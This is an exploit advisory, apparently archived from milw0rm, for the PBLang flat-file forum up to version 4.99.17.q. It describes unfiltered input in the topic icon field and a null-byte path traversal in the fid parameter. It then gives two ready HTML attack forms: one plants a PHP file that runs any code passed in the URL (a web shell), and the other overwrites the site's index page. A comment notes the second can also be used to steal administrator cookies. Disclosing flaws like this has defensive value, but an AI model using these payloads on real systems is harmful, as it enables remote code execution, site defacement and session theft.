PBLang <= 4.99.17.q Remote File Rewriting / Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PBLang <= 4.99.17.q Remote File Rewriting / Command Execution vulnerability in flat foru

                                                ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  &#60;_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  &#62;__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

PBLang &#60;= 4.99.17.q Remote File Rewriting / Remote Command Execution

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------
PoC:

PBLang is a flat forum, it doesn&#39;t need any database. When we write a new 
topic, all the topics informations will be saved in a file located in 
&#34;\db\posts&#34; (a not readeable directory). It looks like a php file, in fact the 
informations will be saved in this way:

&#60;?php

$psubject=&#34;[subject]&#34;;
$pcontent=&#34;[contenet]&#34;;
$pauthor=&#34;[author]&#34;;
$pdate=&#34;[date]&#34;;
$plastdate=&#34;&#34;;
$pimage=&#34;[icon]&#34;;
$plastreply=&#34;0&#34;;
$plastauthor=&#34;&#34;;
$preplies=&#34;0&#34;;
$pviews=&#34;0&#34;;
$pnotify=&#34;&#34;;
$plock=&#34;&#34;;
$pip=&#34;&#34;;
$pvisitors=&#34;&#34;;
$psticky=&#34;&#34;;
$plockview=&#34;&#34;;

?&#62;

The &#34;subject&#34; and the &#34;contenent&#34; values is &#34;htmlentitiesed&#34;, so we can&#39;t type 
a malicious code there...but the &#34;image&#34; value is not filtred, so we can 
execute a malicious code!
Don&#39;t worry if the directory is not readable, using the directory traversl 
variable we can make a file where we want, and so we can read that! The file 
name will be the &#34;fid&#34; value that we send via POST, and the file wont have any 
estension, it will be like: fid_1 (or something like that). Then, editing the 
cid value like: &#34;evilfile.php\0&#34;, we can make a malicious file.

Ps. u gotta use nullbyte not encoded, like: \0
if u try to use %00 it will be not considered like nullbyte  ;) 

---------------------------------------------------------------
Remote Command Execution Exploit (Works only whit Magic Quotes OFF):

&#60;!-- This code will make &#34;31337.php&#34; in http://[target]/[pblang_path], u can 
execute a malicious code via GET as 31337.php?php=[YOUR_CODE] --&#62;
&#60;form action=&#39;[target]/ntopic.php?idnum=[idtopic]&#39; name=&#39;postmodify&#39; 
enctype=&#39;multipart/form-data&#39; method=&#39;POST&#39;  onSubmit=&#39;submitonce
(this);&#39;target=&#39;_self&#39;&#62;
&#60;input type=&#39;text&#39; name=&#39;subject&#39; value=&#39;Owned by KiNgOfThEwOrLd&#39;s Exploit&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;fid&#39; value=&#39;../../../../31337.php\0&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;cat&#39; value=&#39;2&#39; size=40&#62;
&#60;input type=&#39;radio&#39; name=&#39;topicicon&#39; value=&#39;&#34;; &#60;?php eval(stripslashes($_GET
[php])); ?&#62;&#39; CHECKED&#62;
&#60;textarea name=&#39;message&#39; rows=&#39;12&#39; cols=&#39;60&#39; onselect=&#39;storeCaret(this)&#39; 
onclick=&#39;storeCaret(this)&#39; onkeyup=&#39;storeCaret(this)&#39;&#62;VISIT Http://www.inj3ct-
it.org&#60;/textarea&#62;
&#60;input type=&#39;hidden&#39; name=&#39;gueststatus&#39; value=&#39;&#39;&#62;
&#60;input type=&#39;checkbox&#39; name=&#39;EMNotify&#39;&#62;
&#60;input type=&#39;submit&#39; name=&#39;Submit&#39; value=&#39;Own!&#39;&#62;
&#60;/form&#62;
---------------------------------------------------------------
Index Rewriting Exploit

&#60;!-- This code will rewrite or make &#34;index.html&#34; in http://[target]/
[pblang_path] --&#62;
&#60;form action=&#39;[target]/ntopic.php?idnum=[idtopic]&#39; name=&#39;postmodify&#39; 
enctype=&#39;multipart/form-data&#39; method=&#39;POST&#39;  onSubmit=&#39;submitonce
(this);&#39;target=&#39;_self&#39;&#62;
&#60;input type=&#39;text&#39; name=&#39;subject&#39; value=&#39;Owned by KiNgOfThEwOrLd&#39;s Exploit&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;fid&#39; value=&#39;../../../../index.html\0&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;cat&#39; value=&#39;2&#39; size=40&#62;
&#60;input type=&#39;radio&#39; name=&#39;topicicon&#39; value=&#39;&#34;; [YOUR HTML CODE]&#39; CHECKED&#62;
&#60;textarea name=&#39;message&#39; rows=&#39;12&#39; cols=&#39;60&#39; onselect=&#39;storeCaret(this)&#39; 
onclick=&#39;storeCaret(this)&#39; onkeyup=&#39;storeCaret(this)&#39;&#62;VISIT Http://www.inj3ct-
it.org&#60;/textarea&#62;
&#60;input type=&#39;hidden&#39; name=&#39;gueststatus&#39; value=&#39;&#39;&#62;
&#60;input type=&#39;checkbox&#39; name=&#39;EMNotify&#39;&#62;
&#60;input type=&#39;submit&#39; name=&#39;Submit&#39; value=&#39;Own!&#39;&#62;
&#60;/form&#62;
&#60;!-- You can also use this one to steal the admin&#39;s cookies, or execute some 
arbitrary operations  ;)  --&#62;
---------------------------------------------------------------

# milw0rm.com [2007-11-24]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1